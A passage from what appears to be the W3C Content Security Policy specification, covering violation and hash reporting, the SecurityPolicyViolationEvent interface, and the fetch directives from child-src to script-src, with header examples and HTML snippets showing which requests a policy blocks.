When one or more of a policy's directives is violated, a csp violation report may be generated and sent out to a reporting endpoint associated with the policy.

csp violation reports have the report type "csp-violation".

csp violation reports are visible to ReportingObservers.

    dictionary CSPViolationReportBody : ReportBody {
      USVString documentURL;
      USVString? referrer;
      USVString? blockedURL;
      DOMString effectiveDirective;
      DOMString originalPolicy;
      USVString? sourceFile;
      DOMString? sample;
      SecurityPolicyViolationEventDisposition disposition;
      unsigned short statusCode;
      unsigned long? lineNumber;
      unsigned long? columnNumber;
    };
  
When a directive that impacts [=script-like=] [=request/destinations=] has a `report-sha256`, `report-sha384` or `report-sha512` value, and a [=/request=] with a [=script-like=] [=request/destination=] is fetched, a csp hash report will be generated and sent out to a reporting endpoint associated with the policy.

csp hash reports have the report type "csp-hash".

csp hash reports are not visible to ReportingObservers.

A csp hash report body is a [=struct=] with the following fields: documentURL, subresourceURL, hash, destination, type.

When a document's response contains the headers: ```http Reporting-Endpoints: hashes-endpoint="https://example.com/reports" Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint ``` and the document loads the script "main.js", a report similar to the following one will be sent: ```http POST /reports HTTP/1.1 Host: example.com ... Content-Type: application/reports+json [{ "type": "csp-hash", "age": 12, "url": "https://example.com/", "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0", "body": { "document_url": "https://example.com/", "subresource_url": "https://example.com/main.js", "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281", "type": "subresource", "destination": "script" } }] ```

Violation DOM Events

    enum SecurityPolicyViolationEventDisposition {
      "enforce", "report"
    };

    [Exposed=(Window,Worker)]
    interface SecurityPolicyViolationEvent : Event {
        constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
        readonly    attribute USVString      documentURI;
        readonly    attribute USVString      referrer;
        readonly    attribute USVString      blockedURI;
        readonly    attribute DOMString      effectiveDirective;
        readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
        readonly    attribute DOMString      originalPolicy;
        readonly    attribute USVString      sourceFile;
        readonly    attribute DOMString      sample;
        readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
        readonly    attribute unsigned short statusCode;
        readonly    attribute unsigned long  lineNumber;
        readonly    attribute unsigned long  columnNumber;
    };

    dictionary SecurityPolicyViolationEventInit : EventInit {
        USVString      documentURI = "";
        USVString      referrer = "";
        USVString      blockedURI = "";
        DOMString      violatedDirective = "";
        DOMString      effectiveDirective = "";
        DOMString      originalPolicy = "";
        USVString      sourceFile = "";
        DOMString      sample = "";
        SecurityPolicyViolationEventDisposition disposition = "enforce";
        unsigned short statusCode = 0;
        unsigned long  lineNumber = 0;
        unsigned long  columnNumber = 0;
    };
  

Obtain the {{SecurityPolicyViolationEvent/blockedURI}} of a violation's |resource|

Given a violation's resource |resource|, this algorithm returns a [=string=], to be used as the blocked URI field for violation reports. 1. Assert: |resource| is a [=/URL=] or a [=string=]. 2. If |resource| is a [=/URL=], return the result of executing [[#strip-url-for-use-in-reports]] on |resource|. 3. Return |resource|.

Obtain the deprecated serialization of |violation|

Given a violation |violation|, this algorithm returns a JSON text string representation of the violation, suitable for submission to a reporting endpoint associated with the deprecated `report-uri` directive. 1. Let |body| be a map with its keys initialized as follows: : "`document-uri`" :: The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s url. : "`referrer`" :: The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s referrer. : "`blocked-uri`" :: The result of executing [[#obtain-violation-blocked-uri]] on |violation|'s resource. : "`effective-directive`" :: |violation|'s effective directive : "`violated-directive`" :: |violation|'s effective directive : "`original-policy`" :: The serialization of |violation|'s policy : "`disposition`" :: The disposition of |violation|'s policy : "`status-code`" :: |violation|'s status : "`script-sample`" :: |violation|'s sample Note: The name `script-sample` was chosen for compatibility with an earlier iteration of this feature which has shipped in Firefox since its initial implementation of CSP. Despite the name, this field will contain samples for non-script violations, like stylesheets. The data contained in a {{SecurityPolicyViolationEvent}} object, and in reports generated via the new `report-to` directive, is named in a more encompassing fashion: {{SecurityPolicyViolationEvent/sample}}. 2. If |violation|'s source file is not null: 1. Set |body|["`source-file`'] to the result of executing [[#strip-url-for-use-in-reports]] on |violation|'s source file. 2. Set |body|["`line-number`"] to |violation|'s line number. 3. Set |body|["`column-number`"] to |violation|'s column number. 3. Assert: If |body|["`blocked-uri`"] is not "`inline`", then |body|["`sample`"] is the empty string. 4. Return the result of serialize an infra value to JSON bytes given «[ "csp-report" → body ]».

Strip URL for use in reports

Given a [=/URL=] |url|, this algorithm returns a string representing the URL for use in violation reports: 1. If |url|'s scheme is not an HTTP(S) scheme, then return |url|'s scheme. 2. Set |url|’s fragment to the empty string. 3. Set |url|’s username to the empty string. 4. Set |url|’s password to the empty string. 5. Return the result of executing the URL serializer on |url|.

Report a |violation|

Given a violation |violation|, this algorithm reports it to the endpoint specified in |violation|'s policy, and fires a {{SecurityPolicyViolationEvent}} at |violation|'s [=violation/element=], or at |violation|'s global object as described below: 1. Let |global| be |violation|'s global object. 2. Let |target| be |violation|'s element. 3. Queue a task to run the following steps: Note: We "queue a task" here to ensure that the event targeting and dispatch happens after JavaScript completes execution of the task responsible for a given violation (which might manipulate the DOM). 1. If |target| is not null, and |global| is a {{Window}}, and |target|'s shadow-including root is not |global|'s associated `Document`, set |target| to null. Note: This ensures that we fire events only at elements connected to |violation|'s policy's {{Document}}. If a violation is caused by an element which isn't connected to that document, we'll fire the event at the document rather than the element in order to ensure that the violation is visible to the document's listeners. 2. If |target| is null: 1. Set |target| to |violation|'s global object. 2. If |target| is a {{Window}}, set |target| to |target|'s associated `Document`. 3. If |target| [=implements=] {{EventTarget}}, fire an event named securitypolicyviolation that uses the {{SecurityPolicyViolationEvent}} interface at |target| with its attributes initialized as follows: : {{SecurityPolicyViolationEvent/documentURI}} :: The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s url. : {{SecurityPolicyViolationEvent/referrer}} :: The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s referrer. : {{SecurityPolicyViolationEvent/blockedURI}} :: The result of executing [[#obtain-violation-blocked-uri]] on |violation|'s resource. : {{SecurityPolicyViolationEvent/effectiveDirective}} :: |violation|'s effective directive : {{SecurityPolicyViolationEvent/violatedDirective}} :: |violation|'s effective directive : {{SecurityPolicyViolationEvent/originalPolicy}} :: The serialization of |violation|'s policy : {{SecurityPolicyViolationEvent/disposition}} :: |violation|'s disposition : {{SecurityPolicyViolationEvent/sourceFile}} :: The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s source file, if |violation|'s source file is not null, or null otherwise. : {{SecurityPolicyViolationEvent/statusCode}} :: |violation|'s status : {{SecurityPolicyViolationEvent/lineNumber}} :: |violation|'s line number : {{SecurityPolicyViolationEvent/columnNumber}} :: |violation|'s column number : {{SecurityPolicyViolationEvent/sample}} :: |violation|'s sample : {{Event/bubbles}} :: `true` : {{Event/composed}} :: `true` Note: We set the {{Event/composed}} attribute, which means that this event can be captured on its way into, and will bubble its way out of a shadow tree. {{Event/target}}, et al will be automagically scoped correctly for the main tree. Note: Both {{SecurityPolicyViolationEvent/effectiveDirective}} and {{SecurityPolicyViolationEvent/violatedDirective}} are the same value. This is intentional to maintain backwards compatibility. 4. If |violation|'s policy's directive set contains a directive named "`report-uri`" |directive|: 1. If |violation|'s policy's directive set contains a directive named "`report-to`", skip the remaining substeps. 2. For each |token| of |directive|'s value: 1. Let |endpoint| be the result of executing the URL parser with |token| as the input, and |violation|'s url as the base URL. 2. If |endpoint| is not a valid URL, skip the remaining substeps. 3. Let |request| be a new request, initialized as follows: : method :: "`POST`" : url :: |endpoint| : origin :: |violation|'s global object's relevant settings object's origin : traversable for user prompts :: "`no-traversable`" : client :: |violation|'s global object's relevant settings object : destination :: "`report`" : initiator :: "" : credentials mode :: "`same-origin`" : keepalive :: "`true`" : header list :: A header list containing a single header whose name is "`Content-Type`", and value is "`application/csp-report`" : body :: The result of executing [[#deprecated-serialize-violation]] on |violation| : redirect mode :: "`error`" Note: |request|'s mode defaults to "`no-cors`"; the response is ignored entirely. 4. Fetch |request|. The result will be ignored. Note: All of this should be considered deprecated. It sends a single request per violation, which simply isn't scalable. As soon as this behavior can be removed from user agents, it will be. Note: `report-uri` only takes effect if `report-to` is not present. That is, the latter overrides the former, allowing for backwards compatibility with browsers that don't support the new mechanism. 5. If |violation|'s policy's directive set contains a directive named "`report-to`" |directive|: 1. Let |body| be a new {{CSPViolationReportBody}}, initialized as follows: : {{CSPViolationReportBody/documentURL}} :: The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s url. : {{CSPViolationReportBody/referrer}} :: The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s referrer. : {{CSPViolationReportBody/blockedURL}} :: The result of executing [[#obtain-violation-blocked-uri]] on |violation|'s resource. : {{CSPViolationReportBody/effectiveDirective}} :: |violation|'s effective directive. : {{CSPViolationReportBody/originalPolicy}} :: The serialization of |violation|'s policy. : {{CSPViolationReportBody/sourceFile}} :: The result of executing [[#strip-url-for-use-in-reports]] on |violation|'s source file, if |violation|'s source file is not null, or null otherwise. : {{CSPViolationReportBody/sample}} :: |violation|'s sample. : {{CSPViolationReportBody/disposition}} :: |violation|'s disposition. : {{CSPViolationReportBody/statusCode}} :: |violation|'s status. : {{CSPViolationReportBody/lineNumber}} :: |violation|'s line number, if |violation|'s source file is not null, or null otherwise. : {{CSPViolationReportBody/columnNumber}} :: |violation|'s column number, if |violation|'s source file is not null, or null otherwise. 2. Let |settings object| be |violation|'s global object's relevant settings object. 3. [=Generate and queue a report=] with the following arguments: : context :: |settings object| : type :: "csp-violation" : destination :: |directive|'s value. : data :: |body|

Content Security Policy Directives

This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document defines directives which govern resource fetching (in [[#directives-fetch]]), directives which govern the state of a document (in [[#directives-document]]), directives which govern aspects of navigation (in [[#directives-navigation]]), and directives which govern reporting (in [[#directives-reporting]]). These form the core of Content Security Policy; other directives are defined in a modular fashion in ancillary documents (see [[#directives-elsewhere]] for examples). To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including: * Both the script-src and object-src directives, or * a default-src directive In either case, developers SHOULD NOT include either `'unsafe-inline'`, or `data:` as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

Fetch Directives

Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts.

`child-src`

The `child-src` directive governs the creation of child navigables (e.g. <{iframe}> and <{frame}> navigations) and Worker execution contexts. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "child-src"
    directive-value = serialized-source-list
  
This directive controls requests which will populate a frame or a worker. More formally, requests falling into one of the following categories: * destination is "`frame`", "`iframe`", "`object`", or "`embed`". * destination is either "`serviceworker`", "`sharedworker`", or "`worker`" (which are fed to the run a worker algorithm for {{ServiceWorker}}, {{SharedWorker}}, and {{Worker}}, respectively).
Given a page with the following Content Security Policy:
      Content-Security-Policy: child-src https://example.com/
    
Fetches for the following code will all return network errors, as the URLs provided do not match `child-src`'s source list:
      <iframe src="https://example.org"></iframe>
      <script>
        var blockedWorker = new Worker("data:application/javascript,...");
      </script>
    
`child-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `child-src` and |policy| is "`No`", return "`Allowed`". 3. Return the result of executing the pre-request check for the directive whose name is |name| on |request|, |policy|, and |self-origin| using this directive's value for the comparison.
`child-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `child-src` and |policy| is "`No`", return "`Allowed`". 3. Return the result of executing the post-request check for the directive whose name is |name| on |request|, |response|, |policy|, and |self-origin|, using this directive's value for the comparison.

`connect-src`

The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "connect-src"
    directive-value = serialized-source-list
  
This directive controls requests which transmit or receive data from other origins. This includes APIs like `fetch()`, [[XHR]], [[EVENTSOURCE]], [[BEACON]], and <{a}>'s <{a/ping}>. This directive also controls WebSocket [[WEBSOCKETS]] connections, though those aren't technically part of Fetch.
JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. `EventSource` maintains an open HTTP connection to a server in order to receive push notifications, `WebSockets` open a bidirectional communication channel between your browser and a server, and `XMLHttpRequest` makes arbitrary HTTP requests on your behalf. These are powerful APIs that enable useful functionality, but also provide tempting avenues for data exfiltration. The `connect-src` directive allows you to ensure that these and similar sorts of connections are only opened to origins you trust. Sending a policy that defines a list of source expressions for this directive is straightforward. For example, to limit connections to only `https://example.com`, send the following header:
      Content-Security-Policy: connect-src https://example.com/
    
Fetches for the following code will all return network errors, as the URLs provided do not match `connect-src`'s source list:
      <a ping="https://example.org">...
      <script>
        var xhr = new XMLHttpRequest();
        xhr.open('GET', 'https://example.org/');
        xhr.send();

        var ws = new WebSocket("wss://example.org/");

        var es = new EventSource("https://example.org/");

        navigator.sendBeacon("https://example.org/", { ... });
      </script>
    
`connect-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 1. If the result of executing [[#should-directive-execute]] on |name|, `connect-src` and |policy| is "`No`", return "`Allowed`". 1. Let |source list| be directive's value. 1. If |request|'s [=request/mode=] is "`webtransport`" and |request|'s WebTransport-hash list [=list/is not empty=]: 1. If |source list| [=list/contains=] a source expression which is an ASCII case-insensitive match for the `keyword-source` "`'unsafe-webtransport-hashes'`", return "`Allowed`". 1. Return "`Blocked`". 1. If the result of executing [[#match-request-to-source-list]] on |request|, |source list|, and |self-origin|, is "`Matches`", return "`Allowed`". 1. Return "`Blocked`".
`connect-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 1. If the result of executing [[#should-directive-execute]] on |name|, `connect-src` and |policy| is "`No`", return "`Allowed`". 1. Let |source list| be directive's value. 1. If |request|'s [=request/mode=] is "`webtransport`" and |request|'s WebTransport-hash list [=list/is not empty=]: 1. If |source list| [=list/contains=] a source expression which is an ASCII case-insensitive match for the `keyword-source` "`'unsafe-webtransport-hashes'`", return "`Allowed`". 1. Return "`Blocked`". 1. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, |source list|, and |self-origin|, is "`Matches`", return "`Allowed`". 1. Return "`Blocked`".

`default-src`

The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "default-src"
    directive-value = serialized-source-list
  
If a default-src directive is present in a policy, its value will be used as the policy's default source list. That is, given `default-src 'none'; script-src 'self'`, script requests will use `'self'` as the source list to match against. Other requests will use `'none'`. This is spelled out in more detail in the [[#should-block-request]] and [[#should-block-response]] algorithms.
Resource hints such as <{link/rel/prefetch}> and <{link/rel/preconnect}> generate requests that aren't tied to any specific [=fetch directive=], but are instead governed by the union of servers allowed in all of a policy's directives' [=source lists=]. If default-src is not specified, these requests will always be allowed. For more information, see [[#exfiltration]]. [[!HTML]]
The following header:
      Content-Security-Policy: default-src 'self'
    
will have the same behavior as the following header:
      Content-Security-Policy: connect-src 'self';
                               font-src 'self';
                               frame-src 'self';
                               img-src 'self';
                               manifest-src 'self';
                               media-src 'self';
                               object-src 'self';
                               script-src-elem 'self';
                               script-src-attr 'self';
                               style-src-elem 'self';
                               style-src-attr 'self';
                               worker-src 'self'
    
That is, when `default-src` is set, every fetch directive that isn't explicitly set will fall back to the value `default-src` specifies.
There is no inheritance. If a `script-src` directive is explicitly specified, for example, then the value of `default-src` has no influence on script requests. That is, the following header:
      Content-Security-Policy: default-src 'self'; script-src-elem https://example.com
    
will have the same behavior as the following header:
      Content-Security-Policy: connect-src 'self';
                               font-src 'self';
                               frame-src 'self';
                               img-src 'self';
                               manifest-src 'self';
                               media-src 'self';
                               object-src 'self';
                               script-src-elem https://example.com;
                               script-src-attr 'self';
                               style-src-elem 'self';
                               style-src-attr 'self';
                               worker-src 'self'
    
Given this behavior, one good way to build a policy for a site would be to begin with a `default-src` of `'none'`, and to build up a policy from there which allowed only those resource types which are necessary for the particular page the policy will apply to.
`default-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `default-src` and |policy| is "`No`", return "`Allowed`". 3. Return the result of executing the pre-request check for the directive whose name is |name| on |request|, |policy|, and |self-origin|, using this directive's value for the comparison.
`default-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `default-src` and |policy| is "`No`", return "`Allowed`". 3. Return the result of executing the post-request check for the directive whose name is |name| on |request|, |response|, |policy|, and |self-origin|, using this directive's value for the comparison.
`default-src` Inline Check
This directive's inline check algorithm is as follows: Given an {{Element}} |element|, a string |type|, a policy |policy| and a string |source|: 1. Let |name| be the result of executing [[#effective-directive-for-inline-check]] on |type|. 2. If the result of executing [[#should-directive-execute]] on |name|, `default-src` and |policy| is "`No`", return "`Allowed`". 3. Otherwise, return the result of executing the inline check for the directive whose name is |name| on |element|, |type|, |policy| and |source|, using this directive's value for the comparison.

`font-src`

The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "font-src"
    directive-value = serialized-source-list
  
Given a page with the following Content Security Policy:
      Content-Security-Policy: font-src https://example.com/
    
Fetches for the following code will return a network error, as the URL provided does not match `font-src`'s source list:
      <style>
        @font-face {
          font-family: "Example Font";
          src: url("https://example.org/font");
        }
        body {
          font-family: "Example Font";
        }
      </style>
    
`font-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `font-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".
`font-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `font-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".

`frame-src`

The frame-src directive restricts the URLs which may be loaded into child navigables. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "frame-src"
    directive-value = serialized-source-list
  
Given a page with the following Content Security Policy:
      Content-Security-Policy: frame-src https://example.com/
    
Fetches for the following code will return a network errors, as the URL provided do not match `frame-src`'s source list:
      <iframe src="https://example.org/">
      </iframe>
    
`frame-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `frame-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".
`frame-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `frame-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".

`img-src`

The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "img-src"
    directive-value = serialized-source-list
  
This directive controls requests which load images. More formally, this includes requests whose destination is "`image`" [[FETCH]].
Given a page with the following Content Security Policy:
      Content-Security-Policy: img-src https://example.com/
    
Fetches for the following code will return a network errors, as the URL provided do not match `img-src`'s source list:
      <img src="https://example.org/img">
    
`img-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `img-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".
`img-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `img-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".

`manifest-src`

The manifest-src directive restricts the URLs from which application manifests may be loaded [[APPMANIFEST]]. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "manifest-src"
    directive-value = serialized-source-list
  
Given a page with the following Content Security Policy:
      Content-Security-Policy: manifest-src https://example.com/
    
Fetches for the following code will return a network errors, as the URL provided do not match `manifest-src`'s source list:
      <link rel="manifest" href="https://example.org/manifest">
    
`manifest-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `manifest-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".
`manifest-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `manifest-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".

`media-src`

The media-src directive restricts the URLs from which video, audio, and associated text track resources may be loaded. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "media-src"
    directive-value = serialized-source-list
  
Given a page with the following Content Security Policy:
      Content-Security-Policy: media-src https://example.com/
    
Fetches for the following code will return a network errors, as the URL provided do not match `media-src`'s source list:
      <audio src="https://example.org/audio"></audio>
      <video src="https://example.org/video">
          <track kind="subtitles" src="https://example.org/subtitles">
      </video>
    
`media-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `media-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".
`media-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `media-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".

`object-src`

The object-src directive restricts the URLs from which plugin content may be loaded. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "object-src"
    directive-value = serialized-source-list
  
Given a page with the following Content Security Policy:
      Content-Security-Policy: object-src https://example.com/
    
Fetches for the following code will return a network errors, as the URL provided do not match `object-src`'s source list:
      <embed src="https://example.org/flash"></embed>
      <object data="https://example.org/flash"></object>
    
If plugin content is loaded without an associated URL (perhaps an <{object}> element lacks a <{object/data}> attribute, but loads some default plugin based on the specified `type`), it MUST be blocked if `object-src`'s value is `'none'`, but will otherwise be allowed. Note: The `object-src` directive acts upon any request made on behalf of an <{object}> or <{embed}> element. This includes requests which would populate the child navigable generated by the former two (also including navigations). This is true even when the data is semantically equivalent to content which would otherwise be restricted by another directive, such as an <{object}> element with a `text/html` MIME type. Note: When a plugin resource is navigated to directly (that is, as a plugin inside a navigable, and not as an embedded subresource via <{embed}> or <{object}>), any policy delivered along with that resource will be applied to the resulting {{Document}}. This means, for instance, that developers can prevent the execution of arbitrary resources as plugin content by delivering the policy `object-src 'none'` along with a response. Given plugins' power (and the sometimes-interesting security model presented by Flash and others), this could mitigate the risk of attack vectors like Rosetta Flash.
`object-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `object-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-request-to-source-list]] on |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".
`object-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `object-src` and |policy| is "`No`", return "`Allowed`". 3. If the result of executing [[#match-response-to-source-list]] on |response|, |request|, this directive's value, and |self-origin|, is "`Does Not Match`", return "`Blocked`". 4. Return "`Allowed`".

`script-src`

The script-src directive restricts the locations from which scripts may be executed. This includes not only URLs loaded directly into <{script}> elements, but also things like inline script blocks and XSLT stylesheets [[XSLT]] which can trigger script execution. The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "script-src"
    directive-value = serialized-source-list
  
The `script-src` directive acts as a default fallback for all script-like destinations (including worker-specific destinations if `worker-src` is not present). Unless granularity is desired `script-src` should be used in favor of `script-src-attr` and `script-src-elem` as in most situations there is no particular reason to have separate lists of permissions for inline event handlers and <{script}> elements. The `script-src` directive governs six things: 1. Script requests MUST pass through [[#should-block-request]]. 2. Script responses MUST pass through [[#should-block-response]]. 3. Inline <{script}> blocks MUST pass through [[#should-block-inline]]. Their behavior will be blocked unless every policy allows inline script, either implicitly by not specifying a `script-src` (or `default-src`) directive, or explicitly, by specifying "`unsafe-inline`", a nonce-source or a hash-source that matches the inline block. 4. The following JavaScript execution sinks are gated on the "`unsafe-eval`" and "`trusted-types-eval`" source expressions: * {{eval()}} * {{Function()}} * {{setTimeout()}} with an initial argument which is not callable. * {{setInterval()}} with an initial argument which is not callable. Note: If a user agent implements non-standard sinks like `setImmediate()` or `execScript()`, they SHOULD also be gated on "`unsafe-eval`". Note: Since "`unsafe-eval`" acts as a global page flag, `script-src-attr` and `script-src-elem` are not used when performing this check, instead `script-src` (or it's fallback directive) is always used. 5. The following WebAssembly execution sinks are gated on the "`wasm-unsafe-eval`" or the "`unsafe-eval`" source expressions: * {{new WebAssembly.Module()}} * {{WebAssembly.compile()}} * {{WebAssembly.compileStreaming()}} * {{WebAssembly.instantiate()}} * {{WebAssembly.instantiateStreaming()}} Note: the "`wasm-unsafe-eval`" source expression is the more specific source expression. In particular, "`unsafe-eval`" permits both compilation (and instantiation) of WebAssembly and, for example, the use of the "`eval`" operation in JavaScript. The "`wasm-unsafe-eval`" source expression only permits WebAssembly and does not affect JavaScript. 6. Navigation to `javascript:` URLs MUST pass through [[#should-block-inline]]. Such navigations will only execute script if every policy allows inline script, as per #3 above.
`script-src` Pre-request check
This directive's pre-request check is as follows: Given a request |request|, a policy |policy|, and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `script-src` and |policy| is "`No`", return "`Allowed`". 3. Return the result of executing [[#script-pre-request]] on |request|, this directive, |policy|, and |self-origin|.
`script-src` Post-request check
This directive's post-request check is as follows: Given a request |request|, a response |response|, a policy |policy| and an origin |self-origin|: 1. Let |name| be the result of executing [[#effective-directive-for-a-request]] on |request|. 2. If the result of executing [[#should-directive-execute]] on |name|, `script-src` and |policy| is "`No`", return "`Allowed`". 3. Return the result of executing [[#script-post-request]] on |request|, |response|, this directive, |policy|, and |self-origin|.
`script-src` Inline Check
This directive's inline check algorithm is as follows: Given an {{Element}} |element|, a string |type|, a policy |policy| and a string |source|: 1. Assert: |element| is not null or |type| is "`navigation`". 2. Let |name| be the result of executing [[#effective-directive-for-inline-check]] on |type|. 3. If the result of executing [[#should-directive-execute]] on |name|, `script-src` and |policy| is "`No`", return "`Allowed`". 4. If the result of executing [[#match-element-to-source-list]] on |element|, this directive's value, |type|, and |source|, is "`Does Not Match`", return "`Blocked`". 5. Return "`Allowed`".

`script-src-elem`

The syntax for the directive's name and value is described by the following ABNF:
    directive-name  = "script-src-elem"
    directive-value = serialized-source-list
  
